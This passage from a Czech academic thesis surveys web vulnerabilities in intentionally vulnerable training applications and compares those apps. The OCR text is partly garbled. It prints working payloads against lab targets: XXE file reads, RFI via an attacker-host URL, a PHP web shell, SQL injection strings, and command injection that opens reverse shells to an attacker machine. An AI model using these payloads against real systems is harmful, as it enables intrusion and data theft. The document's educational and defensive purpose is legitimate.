ve skutecnosti neodesle, ani neni mozné ho v aplikaci jednoduse zobrazit. Na
zakladé zdrojového koédu pak email obsahuje tuto ¢ast:

Click the link to reset and change your secret:
http://" . $server . "/bWAPP/secret_change.php?..."

Ta by uzivatele presmérovala na server itocnika, zde by zadal nové heslo a
utocnikova aplikace by ho za néj nasledné v legitimni aplikaci nastavila. Tak by
uzivatel ani neprisel na to, ze jeho heslo zna nékdo jiny. Pokud uzivatel odkaz
pouze otevie, ziska utoénik URL pro jeho nastaveni. Pokud neni odkaz casové
omezen, miuze uto¢nik uzivateli zménit heslo kdykoli. Zapis obnovovaciho kédu
do databédze v tomto pripadé probihd bez urceni casu vytvoreni ¢i expirace.

$sql = "UPDATE users SET reset_code = ’" . $reset_code .
"> WHERE email = °" . $email . "’";

1.3.4.7 Local storage

Aplikace mohou ukladat data ve formeé slovniku do lokélniho ulozisté webového
prohlizece. Pristup k nému je umoznén pomoci javasriptu, takze data v ném
ulozend lze ziskat pomoci XSS. Neni zde tedy vhodné ukladat citlivd data.
K datim miuze pristoupit i jiny uzivatel vyuzivajici stejny pocitac. Pouziti
ulozené hodnoty k autorizaci neni dobry népad, protoze uzivatel miize tuto
hodnotu zménit. Nekontrolované pritazeni hodnoty muze vést i k XSS.

Priklady zranitelnosti

Aplikace: bWAPP
Zranitelnost: HTML5 Web Storage
URL: |/oWAPP/insecure_crypt_storage_1.php

Aplikace ukldda do lokalniho wlozisté webového prohlize¢e prihlasovaci
jméno a tajemstvi. Ukolem je ziskat jejich hodnotu pomoci XSS. K tomuto
ucelu pouzijeme volani localStorage.login a localStorage.secret.

1.3.5 U’toky na server
1.3.5.1 File inclusion

Utonikovim cilem muze byt ziskani citlivich tdaji, spusténi kédu na ser-
veru, spusténi kédu v uzivatelském prohlizeci nebo DoS. Pokud webovy server
zpracuje spravny soubor, lze dosdhnout vSech dfive zminénych cila.

Problém jako obvykle vyvstava, pokud aplikace na¢ita soubor na zakladé
uzivatelského vstupu, ktery je nedostatecné validovan. Nacteni souboru je také
mozné dosdhnout napiiklad pomoci XXE nebo SSRF.
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Pokud se nacteny soubor nachazel na serveru, mluvime o tzv. LFI. Pokud
se soubor nacital vzdalené, mluvime o RFI.

Priklady zranitelnosti

Aplikace: bWAPP
Zranitelnost: LFT a RFI
URL: /oWAPP/r1fi.php

Velmi jednoduché piiklady nabizi zranitelny parametr language. Jako jeho
hodnotu staci zadat /etc/passwd pro LFI. Pro RFI muzeme zadat:

http://<ATTACKER_IP>/execute.txt&action=go&cmd=cat’20/etc/passwd

Obsah souboru execute.txt je pak stejny jako v ukéazce u kapitoly [1.3.5.4

1.3.5.2 XML External Entity (XXE)

Jednim z formatt pro prenos dat mezi uzivatelem a serverem je XML. Tento
format je vyuzit napriklad u AJAX pozadavka. Server po prijeti takového
pozadavku pouzije parser, aby data ziskal ve formé, s kterou muze lépe pra-
covat. V XML mtiizeme definovat entity a nésledné na né vytvaret reference.
Pokud neni uzivatelsky vstup dostateCne kontrolovan, respektive je pouzit
zranitelny parser, muze utocnik ziskat pristup k citlivym informacim pomoci
reference na existujici entitu, popripadé muze ve svém vstupu definovat entitu
vlastni a nasledné se na ni odkézat. Pomoci této metody muze nacist lokalni
soubory, zazadat o zdroje pres protokol HT'TP, provést skenovani vnitini sité
nebo dosdhnout DoS. Priklad pro nacteni souboru /etc/passwd:

<?xml version="1.0" encoding="utf-8"7>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Priklady zranitelnosti

Aplikace: bWAPP
Zranitelnost: XXE
URL: /bWAPP/xxe-1.php

Po kliknuti na tlac¢itko se pomoci javascritu odesle dotaz s XML obsahem.
<reset><login>bee</login><secret>Any bugs?</secret></reset>

Dotaz muzeme pomoci proxy upravit a vyuzit vyse uvedeného prikladu
k nacteni obsahu souboru.
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<?xml version="1.0" encoding="utf-8"7>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

1.3.5.3 Server-Side Request Forgery (SSRF)

V nékterych situacich je zddouci nacist obsah z jiného serveru do vlastni apli-
kace. Prikladem je nacitani obrazku, tieba uzivatelského avatara. Problém
nastavd, pokud je dotaz proveden na zikladé nekontrolovaného vstupu od
uzivatele. Pokud uzivatel zméni pozadavek serveru, mluvime o Sever Side
Request Forgery.

Se SSRF miizeme délat dotazy do vnitini sité. Mizeme tak zjistovat, zda
v ni bézi urcité sluzby, a to nejcastéji pomoci hddani subdomény, nebo provést
skenovani pomoci zadavani privatnich adres. Pokud je mozné ménit protokol,
pak lze docilit LFI.

Priklady zranitelnosti

Aplikace: bWAAP
Zranitelnost: SSRF
URL: /bWAPP/ssrf.php

Stranka nabizi nékolik scénari pro mozné SSRF. Pro pochopeni a trénovani
neni tento priklad nejvhodnéjsi, jelikoz se nejedné o typicky scénaf. Jednim
z prikladu je vyuziti LFI, kde staci pristoupit na spravnou URL. To vede ke
spusténi skeneru porta a zobrazeni vysledku.

bWAPP/rlfi.php?language=../evil/ssrf-1.txt&action=go&ip=127.0.0.1

1.3.5.4 File upload

Nahravani fotek, sdileni soubort nebo prikladani dokumentt je bézna funk-

vevs

kontrola fetézce. Méli bychom provadét kontrolu [22]:

e Piipony souboru — Webovy server interpretuje typ souboru na zakladé
pripony. Naptiklad zdrojovy kéd v souboru txt pti zobrazeni ve webovém
prohlize¢i nepovede ke spusténi kodu.

e Velikosti souboru — Kontrola velikosti souboru brani DoS nebo alespon
snizuje nédklady na tloziste.

e Obsahu souboru — Pod obsahem je mozné si predstavit vicero pojmi.
Nékteré véci 1ze kontrolovat jednoduseji, napriklad pritomnost viru. Jiné
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problémy, tykajici se napriklad pravni odpovédnosti lze kontrolovat pro-
blematicky, ale mohou vést k diskreditaci osob zajistujicich provoz ser-
veru.

Kromé samotného nahrani souboru zalezi na dalsich operacich s nim. Po-
kud se soubor pouze ulozi na server, riziko je minimalni. Problém nastava, po-
kud mize uzivatel k souboru v aplikaci pristoupit primo, nebo pokud ttoc¢nik
vyuzije LFI. Tim se se souborem dale pracuje muze dojit k jeho spusténi.
Nahrany soubor lze alespon vyuzit k sifeni viru.

Priklady zranitelnosti

Aplikace: DVWA
Zranitelnost: File upload
URL: /dvwa/vulnerabilities/upload/

evvs

nézev ani obsah souboru nijak kontrolovan. Mizeme proto nahrat jednoduchy
kéd v PHP:

<7?php
$cmd = $_GET["cmd"];
$output = shell_exec($cmd) ;
echo "<pre>$output</pre>";
7>

Po nahrani se uzivateli zobrazi hlaska, zda a kam byl soubor ulozen. Pokud
potom pristoupi na odpovidajici URL a prida parametr cmd, provede se prikaz
v hodnoté tohoto parametru. V pripadé stiedni obtiznosti je pfidana kontrola
na typ souboru pomoci $_FILES[’uploaded’] [’type’]. Podle dokumentace
je vsak tato kontrola provedena na zakladé hodnoty predané prohlizecem. Po-
kud pouzijeme Burp proxy a zmeénime hlavicku Content-Type na hodnotu
image/jpeg, puvodni obsah stile nahrajeme. Na nejvyssi obtiznost je kont-
rolovana pfipona souboru. Soubor typu .jpeg neni interpretovan jako PHP.
Uzivatel nemé ptistup k souboru .htaccess, kde by toto chovani mohl zménit.

1.3.5.5 OS command injection

Webové aplikace ¢asto potrebuji pracovat s opera¢nim systémem, vytvaret a
Cist soubory atd. Zpusobt jak toho dosdhnout je vice, ale nejméné vhodnym
zpusobem je volani prikazu operacniho systému primo. V programovacim ja-
zyce PHP je takovou nevhodnou metodou voldni system() nebo exec(),
zvlasté pak pokud jsou parametry funkci uréeny neosetfenym uzivatelskym
vstupem. Pokud se tto¢nikovi podaii spustit jim definovany kéd, pobézi pod
pravy webového serveru. Napriklad na opera¢nim systému linux se jednd
o uzivatele www-data nebo apache. Pokud je server nastaven nevhodné, mize
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utocnik ziskat i prava uzivatele root. Jako obrana slouzi kontrolovani vstupu,
nevolani prikazu pfimo a omezeni prav webového serveru na nutné minimum.

Utoénik se snazi na konec zranitelného parametru vlozit oddélovac prikazi
a za néj svij prikaz. Mezi oddélovace prikazu patii:

e ; — béZny oddélovaé prikazu

e & — druhy prikaz probéhne nezavisle na prvnim

e && — druhy prikaz probéhne pokud prvni skoncil ispésné

e || — druhy prikaz probéhne pokud prvni skoncil netdspésné

Pokud uzivateli neni zobrazen vystup prikazu, mluvime o tzv. ,, Blind OS
command injection“. Utotnik si v takovém pripadé muze otevriit spojeni zpét
ke svému pocitaci, napiiklad pomoci néstroje nc. Pro ovéren mize stac¢it DNS
dotaz na uto¢nikovu doménu, jelikoz DNS provoz je vétsinou povolen.

Priklady zranitelnosti

Aplikace: OWASP WebGoat
Zranitelnost: OS command injection
URL: /WebGoat/attack?Screen=163&menu=1100

Stranka umoznuje uzivateli zobrazit ur¢ity soubor z pripraveného seznamu.
Ve vystupu se ovSem ukazuje ¢ast pouzitého prikazu:

ExecResults for ’/bin/sh’

Parametrem v dotazu je AccessControlMatrix.help. Nyni je potieba
provést nékolik krokti. Zaprvé musime uzaviit uvozovky, tak abych mohli za-
dat novy prikaz. Dale pottebuje vlozit piikaz oddélené od predchoziho. To pro-
vedeme pomoci znaku &, ktery je potreba zakddovat, protoze se pouziva jako
oddélovac¢ parametri. Vstupem pak bude napiiklad: "+%26+ifconfig. Vystup
prikazu ale neni vidét, jelikoz neni spravné ukoncen a navratouvou hodnotou je
chyba. Spravny parameter mtze vypadat naptiklad takto: "+%26+ifconfig"

Aplikace: WackoPicko
Zranitelnost: Blind OS command injection
URL: /WackoPicko/passcheck.php

Aplikace umoznuje zkontrolovat, zda se zadany fetézec nachazi v seznamu
¢asto pouzivanych hesel. Seznam se nachazi v souboru na lokdlnim disku a
hledani je provedeno prikazem:

grep “<password>$ /etc/dictionaries-common/words
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Vstup, ktery povede ke spusténi uzivatelem definovaného kodu, je napiiklad
$ & sleep 10 #. Odpovéd serveru je zpozdéna o 10 sekund. Vystup zadaného
prikazu ale neni na strance zobrazen.

Situaci se pokusime vytesit pomoci programu nc. V Kali otevieme ter-
mindl a zadame nc -1lvp 4444. Plvodni piikaz vloZzeny do parametru na-
hradime prikazem nc <Kali_IP> 4444 -e /bin/bash. V BWA ovSem ne-
funguje prepina¢ -e a proto se spojeni nevytvori. Pokud pouzijeme piikaz
bash -i >& /dev/tcp/<Kali_IP>/4444 0>&1 pod uzivatelem root, tak se
spojeni otevie. Uzivatel www-data ale vyuzivd sh misto bash, kde je jiné
presmérovani vystupi a komunikace pres /dev/tcp neni dostupna. Vysledny
funkéni vstup do parametru password je napiiklad:

$ & bash -c "bash -i >& /dev/tcp/<Kali_IP>/4444 0>&1" #

Aplikace: bWAPP
Zranitelnost: OS command injection
URL: /bWAPP/commandi.php

Stranka po zadani domény provede DNS dotaz. Piiklad dtoénikova vstupu:
www.google.com %26%26 cat /etc/passwd

Na stredni obtiznost je kéd kontrolovan a zirejmé odlisné spoustén. Prikladem
funkéniho vstupu muze byt:

"" || cat /etc/passwd

1.3.5.6 Server Side Includes (SSI)

Dynamicky obsah lze vytvaret pomoci nékolika technologii. Jednoduchym a
zastaralym zpisobem jsou direktivity s ndzvem SSI. Jsou zpracovany webovym
serverem pred odeslanim pozadavku a jsou alternativou pro CGI pfi gene-
rovani jednoduchého dynamického obsahu. Format prikazu je:

<!--#’<tag><variable set> ’-->

Problém jako obvykle vznika, pokud neni vstup od uzivatele spravné vali-
dovéan a je pouzit v nékteré z direktiv. Utoénik mtze docilit nacteni souboru,
vystupu skriptu nebo spusténi prikazu v operacnim systému. Zobrazeni ob-

sahu adresare se provede takto:

<l--#exec cmd="1ls -la" -->
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Priklady zranitelnosti

Aplikace: bWAPP
Zranitelnost: SSI
URL: |/bWAPP/ssii.php

Tento ptiklad nefungoval spravné. Direktivy SSI nebyly zpracovany a byly
v odpovédi obsazeny v nepozménéné podobé. Pii zadani bezpecného vstupu
obsahovala odpovéd misto IP adresy tuto direktivu:

<!--#echo var="REMOTE_ADDR" -->
Pokud by priklad fungoval spravné, pak by stacilo vlozit:

<!--#exec cmd="cat /etc/passwd" -->

1.3.5.7 SQL injection

Webové aplikace pouzivaji pro ukladani dat SQL databaze. Data nasledné
ziskavaji pomoci interpretovanych prikazu, jejichz parametry mohou byt vstu-
pem od uzivatele. Pokud je dotaz tvoren nespravné a hodnota od uzivatele neni
kontrolovana, muze ttoénik zménit provedeny prikaz. Nejcastéji je problém
demonstrovan u prihlaseni do aplikace. Za prihlasenim se muze nachazet po-
dobny prikaz:

SELECT * FROM users WHERE username = ’<u>’ AND password = ’<p>’

Pokud uzivatel preda do parametru u hodnotu > OR 1=1-- nebo obdob-
nou, dojde za predpokladu nekontrolovani vstupu k prihlaseni uzivatele do
aplikace pod prvnim uzivatelem, ktery je ve vysledku dotazu. Duvodem je to,
ze kvuli vyrazu OR 1=1 se z vyroku stane tautologie a je tak vzdy pravdivy.
Zbytek ptvodniho dotazu je ignorovan, protoze je vlozen do komentare pomoci
znakidl —--. Variace na tento zakladni priklad nalezneme ve vétsiné testovanych
aplikaci. Nékteré vyskyty jsou uvedeny v prikladech zranitenosti nize.

Postup pri vyuziti této zranitelnosti se muze liSit v zavislosti na pouzité
databézi. Pomoci rozdilnych chybovych hlasek ¢i rozlisného chovani lze zjistit,
jakou databdzi aplikace vyuziva. Jednou z odliSnosti je spojovani fetézcu [10,
kap. OTG-INPVAL-005]:

e MySql — ‘test’ + ‘ing’

e SQL Server — ‘test’ ‘ing’
e Oracle — ‘test’||’ing’

e PostgreSQL — ‘test’||’ing’
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Pokud je hodnota ¢iselnd, pak 1ze vyuzit tyto vstupy, které se vyhodnoti na 0
[12, str. 303]:

e Oracle — BITAND(1,1)-BITAND(1,1)

e MS-SQL — @@PACK_RECEIVED-@@PACK_RECEIVED

e MySQL — CONNECTION_ID()-CONNECTION_ID()
Databéze standartné pouzivaji ¢tyri zakladni operace:

e SELECT — ziskani dat z databaze

e INSERT — vlozeni dat do databéze

e UPDATE - aktualizace dat v databazi

e DELETE — smazani dat z databaze

Dale je také mozné prikazy retézit pomoci znaku ;. Tato funkce ale neni
vzdy dostupné, napiiklad u ¢asto pouzivana kombinace PHP a MySQL. Po-
moci databaze je také mozné nacitat a zapisovat do souboru.

S védomim, ze tyto funkcionality mohou byt zneuzity vznikla databaze
SOQL. Ta umoznuje pouze dotaz typu SELECT a naopak neumoznuje fetézeni
prikazu, ale také JOIN a UNION, které jsou také Casto vyuzivané pri utocich.

UNION se vyuziva, aby se vysledky druhého dotazu pripojili za vysledky
dotazu prviho. K tomu je potieba, aby byl pocet sloupcti v obou vysledcich
stejny. Spravny pocet sloupcii lze zjistit pri pouziti klausule ORDER BY, za
kterou pripojime ¢islo sloupce. Pokud dotaz probéhné v poradku, je pocet
sloupcti vétsi nebo roven predanému cislu. Také je dilezité aby jednotlivé
sloupce méli stejné datové typy, nebo aby bylo mozné data prevést.

P1i pouziti UNION lze ziskat informace z tzv. information_schema, které
obsahuje nazvy tabulek, sloupcu atd. v databazich MySQL, MS SQL a Post-
greSQL. Se znalosti tabulek a jejich struktury je mozné ziskat hledand data
opét pomoci UNION.

Vystup upraveného prikazu nemusi byt uzivateli zobrazen. Zptisobem jak
se k témto dattiim dostat je oteviit sitové spojeni na server titoénika a data
odeslat. Na zafizeni s Oracle databazi lze spojeni vytvorit pomoci prikazu
UTL_HTTP.request.

Ochran proti tomuto utoku existuje nékolik. Hlavni pri¢inou vzniku zra-
nitelnosti je spojeni interpetovaného prikazu a uzivatelského vstupu. Jejich
oddéleni lze zaridit pomoci tzv. Prepared statements. Dotaz do databéze se
pripravi predem s parametry, za které se pti zavoldni dosadi uzivatelsky vstup.
Struktura dotazu se jiz neméni a dotaz je proveden bezpecné. Zpusob volani
se lisi dle pouzité platformy.

Na nékterych mistech v dotazu nelze pouzit parametr, napriklad v nazvu
tabulky. Zde prichazi na fadu spravna validace vstupu pomoci metody zvané
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whitelisting. Posledni metodou je uziti kédovani specidlnich znaki, které je
doporucovano nejméné. To je totiz zavislé na pouzité databazi. Vhodnym
doplnénim je vyuziti principu minimalniho opravnéni.

Jesté zbyva doplnit, ze pro automatické testovani lze vyuzit velké mnozstvi
néstroju v ¢ele s sqlmap [23].

Priklady zranitelnosti

Aplikace: WackoPicko
Zranitelnost: SQL injection
URL: /WackoPicko/users/login.php

Prihlasovaci stranka obsahuje parametr username, ktery je zranitelny vuaci
SQL injection. Pti zadani spravného vstup je mozné se prihlasit bez znalosti
uzivatelského jména a hesla. Spravnym vstupem je > OR 1°=’1’ #.

Aplikace: OWASP Vicnum
Zranitelnost: SQL injection
URL: /vicnum/unionl.php

Stranka umoznuje vypis vysledki z prechozich dvou her. Oba dva vypisy jsou
zranitelné vici SQL injection. Hra se jmenuje UNION Challange a tkol je
splnén pokud vlozime:

> UNION SELECT 1,2,3, TABLE_NAME FROM information_schema.tables#

1.3.5.8 Logické chyby

Logické chyby se v aplikacich hledaji slozitéji. Nespojuje je totiz zadny piiznak,
neexistuje obecna poucka jak je nalézt a automatické testovaci nastroje je
také nenaleznou. V mensich aplikacich nebo jednodussich funkcionalitach je
pravdépodobnost vyskytu logické chyby nizsi. V komplexnich aplikacich, na
kterych pracuje velké mnozstvi programatori je pravdépodobnost vyskytu
této chyby vétsi.

Mezi logické chyby, se kterymi jsme se v praxi setkali, pattfila moznost
zakoupit elektronickou knihu v obchodé bez zaplaceni. Délo se tak kvili tomu,
ze vyvojar predpokladal, ze uzivatel pii platbé pomoci SMS musi provést
kroky nakupu presné v urceném poradi. Pri preskoceni kroku s odeslanim
SMS a pristoupeni na stranku se stdhnutim knihy se spravnym parametrem
byla kniha stazena bez platby.

Mozné je vytvorit logickou chybu i v bezpecnostni funkcionalité. Dikazem
toho byla aplikace, kterd ovérovala zménu osobnich idaju pomoci dvoufakto-
rové autentizace a odeslani SMS. Mezi osobnimi tdaji bylo i telefonni ¢islo a
pri jeho zméné byl ovérovaci kéd odeslan pouze na nové zadané ¢islo. Utoénik

36


/WackoPicko/users/login.php
/vicnum/union1.php

1.3. Popis zranitelnosti

tak ziskal kontrolu nad druhym faktorem, ktery se pouzival i pro doruceni
docasného hesla pro obnoveni u¢tu. Pokud by u formulare, ktery méni te-
lefonni ¢islo chybéla ochrana proti CSRF, bylo by mozné ziskat kompletni
kontrolu nad u¢tem.

Priklady zranitelnosti

Aplikace: WackoPicko
Zranitelnost: Neomezené pouziti slevy
URL: /WackoPicko/cart/review.php

Na strance /WackoPicko/calendar.php?date=1545998221 lze nalézt jako
aktualitu slevovy kupén SUPERYOU21 na slevu ve vysi 10 procent. Tu lze pak
opakované pouzit na strance se shrnutim objednavky.

Aplikace: HackMe Casino
Zranitelnost: Nespravné odebrani kreditu
URL: /blackjack/show

V hazardnich hréach jsou penize hra¢im odebrany hned po vytvotreni sdzky.
Tato aplikace ale vlozené prostredky hractim nebere okamzité, ale vyuctovani
provede az na konci hry. Pokud tak hra¢ nedostane spravné karty, muze ze
hry odejit a zacit novou bez ztraty penéz.

Aplikace: HackMe Casino
Zranitelnost: Opakované pricteni vyhry
URL: |/blackjack/hit_or_stay

Uzivatel m4 béhem hry dvé moznosti. Bud si vezme dalsf kartu, nebo hru
ukon¢i. V tom pripadé se odesle pozadavek s parametrem act=S a aplikace
spocita vitéze a pridéli pripadnou vyhru. Pokud pomoci proxy odesleme tento
pozadavek znovu, aplikace opétovné pridéli vyhru. Takto je mozné neomezené
vyhravat.

1.3.5.9 Denial of Service (DoS)

Utokd na odmitnuti sluzby je nékolik druht. Znaméjsi jsou spise utoky po-
moci ICMP nebo zalozené na chovani TCP protokolu. bWAPP nabizi i HT'TP
DoS, ktery ale funguje pouze pii vyuziti virtudlniho stroje bee-box a zavisi
na nastaveni webového serveru. V této ¢asti se budeme zabyvat problémy
samotnych webovych aplikaci.

Zranitelnosti mizeme rozdélit do dvou skupin. Prvni skupina znemoznuje
pristup k funkcionalité jednomu uzivateli. Z bezpecnostnich divodu aplikace
blokuji Gcet po nékolika netlispésnych pokusech o prihlaseni. Problém vyvstava
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pokud tutocnik zna uzivatelovo prihlasovaci jméno a aplikace Spatné imple-
mentuje blokaci i¢tu, naptiklad kdyz musi odblokovani provést administrator
nebo uzivatel fyzicky na pobocce spolecnosti.

Druhou skupinou je utok na vice uzivateli najednou nebo na cely ser-
ver. Muzeme docilit vycerpani prostfedku serveru. V praxi jsme se setkali
s pripadem, kdy uzivatelé mohli stahovat alba ze serveru, ale pred stahnutim
se vytvoril jejich archiv ve formatu RAR. Ten se zacal vytvaret pri kazdém
pozadavku na stahovani a vysledny archiv se nepouzival opakované. Jeden
uzivatel mohl stahovat neomezené alb a tak mohl zvysit vyuziti procesoru,
operacni paméti i disku.

Pokud jsou v aplikaci nalezeny dalsi zranitelnosti, je mozné pomoci nich
dosdhnout DoS. Jednou z moznosti je nacitni soubortt pomoci XXE.

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \ file:///dev/random"> 1>

Priklady zranitelnosti

Aplikace: OWASP WebGoat
Zranitelnost: DoS
URL: |/WebGoat/attack?Screen=63&menu=1200

Aplikace umoznuje spojeni s databazi pouze dvoum uzivatelim. Mozné
to zni nerealisticky, ale v praxi jsme se setkali se stejnym principem, ale ma-
ximalni pocet spojeni byl 20.

Utoénik potiebuje znat prihlasovaci tdaje uzivatelu. Ty lze ziskat pomoci
utoku hrubou silou, ale v tomto pripadé se na prihlasovaci strance nachéazi
zranitelnost SQL injection, pomoci které lze ziskat tdaje péti uzivatelt. Pro
splnéni tkolu staci provést zaroven 3 prihlaseni.

1.4 Srovnani testovanych aplikaci

V této kapitole je v tabulkach a uvedeno porovnani obsazenych zrani-
telnosti. Vzhledem k rozsahu a obsahu aplikace bWAPP zde nejsou zobrazeny
vSechny jeji zranitelnosti. Nejsou zahrnuty napriklad zranitelnosti Heartbleed
a dalsi zamétujici se na webovy server. Zranitelnosti jsou rozdéleny stejné jako
v kapitole Dale je diskutovana pouzitelnost jednotlivych aplikaci.

Nejvice zranitelnosti obsahuje aplikace bWAPP. U cvic¢eni zaméfenych na
zranitelnosti webového serveru je deklarovano, ze funguji pouze u pripraveného
virtudlniho stroje s nazvem bee-box. Nékterd cviceni piisobi nepfrirozené a
neni jasny jejich cil. Zranitelnost XSS ma 15 cviceni a SQL injection 9. Pocet
unikatnich, funkénich a prirozené vypadajicich zranitelnosti a utoku je tak
znacné nizsi.

OWASP WebGoat je co do poc¢tu zranitelnosti v tomto srovnani druhy.
Jejich implementace a funkénost je ale lepsi nez v pripadé bWAPP. Vétsina
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cviceni neni tvorena pouze jednou obrazovkou s jednim textovym polem, ale
jsou zde implementované funkcionality, diky kterym aplikace vypada rea-
listictéji. Cile cviceni jsou jasné a diky pritomnosti napovédy lze i v pripadé
problému dosahnout feseni. Jeji nevyhodou je neexistence vice obtiznosti si-
mulujici ¢astecné fukéni pokus programétora o opravu.

Aplikace DVWA obsahuje z prvni kategorie vybranych aplikaci zranitel-
nosti nejméné. Stejné jako aplikace bWAPP obsahuje vice trovni obtiznosti a
na nejvyssi obtiznost by cviceni méla byt neprolomitelna.

Mezi realistickymi aplikacemi m4 nejvice zranitelnosti WackoPicko. Imple-
mentované zranitelnosti jsou funkéni a nékteré jsou i méné casté. Obsahuje
také XSS s pomoci Flash a logickou chybu. Aplikaci by pomohla realistictéjsi
a uvéritelnéjsi funkcionalita.

Vicnum narozdil od WackoPicko neobsahuje navod, ale jeji zranitelnosti
jsou zrejmé. Napiiklad XSS a SQL injection se objevuji na typickych mistech
a neni tezké je najit. Zbylé zranitelnosti jsou zaloZeny na vyuzivani hodnot
kontrolovanych uzivatelem. Nékteré z nich neni trividlni odhalit dynamickym
testem a odhali je kontrola zdrojového kodu. Vicnum je tak specifickou aplikaci
s odlisSnym pristupem.

Obé testované aplikace z projektu Foundstone ptisobi velmi realisticky. Je-
jich zasazeni do finan¢niho prostredi uzivateliim pomaha se lépe predstavit do-
pady zranitelnosti. Nizsi pocet zranitelnosti kompenzuji kvalitou a odliSnosti
problémi.

Z4dn4 z testovanych aplikaci sama o sobé dostate¢né nepripravy studenta

=
S = o
2 = |8
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= | > = =8| 8] 8
ola|lz2|o|= 2|3

Slabé heslo o 0o o o

Chybéjici ochrana proti itoku hrubou silou o o o o

Enumerace uzivatelského jména o

Spatna manipulace s heslem L

Chyba v kontrole prihlasovacich adaju o

Predvidatelny token [ o

Spatné nastavend cookie [ o o

Prozrazeni tokenu L

Ukoncovani a obnovovani relace o L o

Tabulka 1.1: Zranitelnosti aplikaci: Autentizace a Sprava relaci
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Administratorské prostiedi [ o e o o

Forced browsing [ [ [

Directory traversal ® o o L

Eskalace privilegii { o o

Insecure Direct Object Reference || @ o o o

XSS ® o o (

CORS [

CSRF ® o o o

Unvalidated redirects [

HTTP Response splitting [ [

Host header injection [

Local storage [

File inclusion [ [

XXE [

SSRF [

File upload o o

OS Command injection ® o o o

SSI [

SQL Injection ® 6 &6 6 & o o

Logické chyby o o

DoS | o

Tabulka 1.2: Zranitelnosti aplikaci: Autorizace, ttoky na uzivatele a server
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na vSechny typy problémi redlnych aplikaci. Je proto nezbytné kombinovat
vice aplikaci. Vhodnou volbou je pouziti OWASP WebGoat, kde uzivatel diky
obsazenym popisim zranitelnosti, napovédam a resenim pochopi obsazené
problémy. K natrénovani samotného netrividlniho hledani problému v realis-
tickych aplikacich je vhodné vyuzit aplikace HackMe.

1.5 Chybéjici zranitelnosti

Vsechny dilezité zranitelnosti webovych aplikaci jsou v nékteré z testovanych
aplikaci dostupné. Napiiklad XXE, CORS a SSRF nejsou obsazeny v jiné
aplikaci nez bWAPP. Zaroven vétsina aplikaci obsahuje pouze zakladni variace
utoku. Dvé ze znaméjsich zranitelnosti ale zcela chybi.

1.5.1 Same Origin Method Execution (SOME)

Jednim z klicovych principti bezpecnosti webovych aplikaci je SOP. Ten ale
nijak nezabranuje spusténi skripti v jinych oknech webového prohlizece, po-
kud patti do stejné aplikace. Jakym zptsobem ale spustit akci v jiném okné?
Potfebujeme vytvorit referenci na okno, ze kterého bylo to nové vytvoreno.
K tomu se vyuziva tzv. callback, ktery z otevieného okno zavola funkci v okné
puvodnim. Dand akce je napiiklad urcend pomoci parametru v URL, ten se
casto jmenuje callback nebo cmd. Pokud neni dostateéné kontrolovan, stava
se celd doména zranitelnd [24].

Obsah tohoto parametru muze byt validovan na pritomnost znak povo-
lujici XSS, presto muze byt stranka zranitelna. Dilezitd je schopnost uzivatele
zadat do parametru alfanumerické znaky a tecku, pak lze na strance spustit
jinou akci, napiiklad form.submit. Autor tohoto ttoku docilil takovouto akeci
zverejnéni privatnich fotek uzivatele. Pro vyuziti zranitelnosti tak aplikace
musi obsahovat néjakou vyuzitelnou akci.

Postup utoku pak vypada nasledovné:

e Obdt otevie odkaz, ktery ji odeslal ito¢nik.

e Stranka, na kterou vedl odkaz je kontrolovana tito¢nikem a otevie nové
okno.

e Puvodni stranku presméruje na tu, kterd obsahuje akci, kterou chceme
spustit.

e Utocnikova aplikace presméruje nové okno na stranku se zranitelnym
parametrem callback.

e Webovy prohlize¢ spusti zddanou akci.

SOME lze zatadit mezi itoky na uzivatele. Lze se proti nému branit tak, ze
uzivateli nedovolime ménit hodnotu parametru callback, respektive vyuzijeme
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tzv. staticky callback. Pokud potfebujeme hodnotu zadavat dynamicky, pro-
vedeme kontrolu vstupu a povolime pouze hodnoty z ptripraveného seznamu.

1.5.2 Formula injection

Tabulkové procesory, napriklad Excel, umoznuji uzivatelim provadét operace
s daty. Tyto operace lze provadét programové pomoci formuli ¢i maker. Po-
kud chceme, aby se v bunce A3 objevil soucet dvou poli A1 a A2, pak do ni
umistime formuli =A1+A2. Formule ale umi vice funkci a jednou z nich je i
spousténi dalsich programi pomoci =cmd. Zranitelnost vznikd v pripadé, kdy
webova aplikace umoznuje uzivatelim vytvaret soubory, které se oteviraji
v tabulkovych procesorech a do nichz muze uzivatel takovouto formuli vlozit.
Nejcastéji jsou cileny na uzivatele, kteri tyto soubory stdhnou a spusti.

Bréanit se 1ze kontrolovanim uzivatelského vstupu na pritomnost specidlnich
znaki, hlavné =+-0. V pripadé, ze v programu otevirajicim tento soubor neni
zadnd zranitelnost, uzivatel musi provedeni téchto akci povolit. Uzivatelé vsak
tato varovani casto ignoruji a to hlavné v pripadé, ze stazeny soubor normalné
obsahuje legitimni funkce, které pro svoji praci potiebuji. Pokud utoc¢nik prida
do takového souboru vlastni kod, obétf nemtize tuto zménu poznat. [25]
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KAPITOLA 2

Implementace zranitelné
aplikace

Cilem préace bylo vytvorit vlastni aplikaci na zakladé prechozi analyzy. Vy-
tvoreni aplikace podobné tém testovanym by nemélo zadny ptinos. Proto jsme
vytvorili realistické aplikace, které implementuji zranitelnosti nové, a odliSnym
zpusobem ty nalezené. Nasledujici ¢ast pojednédva o pouzitych technologiich,
vlastnostech a odlisnostech vlastniho feseni. Déle uvadi funkcionality nami
vytvorenych aplikaci. V kapitole[3]jsou k nalezeni informace jak aplikace nain-
stalovat, pouzit a také jaké nastroje jsou k provedeni cviceni vhodné. V nadvodu
jsou uvedené i jednotlivé zranitelnosti.

Vlastni aplikaci jsme se rozhodli implementovat v programovacim jazyce
Python a frameworku Django. Duvodu k tomuto vybéru je nékolik. Zaprvé
zddnd z testovanych aplikaci nebyla pomoci této technologie vytvorena a
Django pritom patfi mezi populdrni frameworky. Setkali jsme se také s nazory,
ze aplikace implementované pomoci Djanga neni potieba testovat z hlediska
bezpecnosti, jelikoz vyvojari poméaha fesit problémy jako XSS, SQL injection
a CSRF. To se nam podarilo v praxi nékolikrat vyvratit, stejné jako v nasem
projektu. Jako databéze je pouzita SQLite.

Vlastni feseni je tvoreno jednim projektem s nazvem Totally Secure s cel-
